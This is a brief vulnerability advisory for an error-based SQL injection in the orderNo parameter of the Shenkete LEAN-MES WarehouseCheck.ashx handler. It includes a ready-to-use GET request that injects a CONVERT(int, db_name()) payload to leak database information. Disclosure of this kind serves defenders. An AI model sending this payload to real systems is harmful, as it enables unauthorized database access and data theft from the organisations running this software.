深科特 LEAN-MES系统 /Handler/WarehouseCheck.ashx SQL 注入漏洞

2026-02-06 深科特LEAN MES系统 PoC Public

Description

深科特LEAN-MES系统的/Handler/WarehouseCheck.ashx接口在处理orderNo参数时，未对用户输入的SQL语句进行有效过滤和校验，存在报错型SQL注入漏洞。攻击者可通过构造恶意的SQL注入语句，利用该漏洞非法获取数据库敏感信息，甚至执行任意SQL命令。

PoC

GET /Handler/WarehouseCheck.ashx?api=GetGrnInfoList&orderNo=1'+AND+CONVERT(int,+db_name())=0--+keHv&itemCode=1 HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://gobysec.net/updates# Shenkete LEAN-MES /Handler/WarehouseCheck.ashx SQL Injection Vulnerability

References

Related Vulnerabilities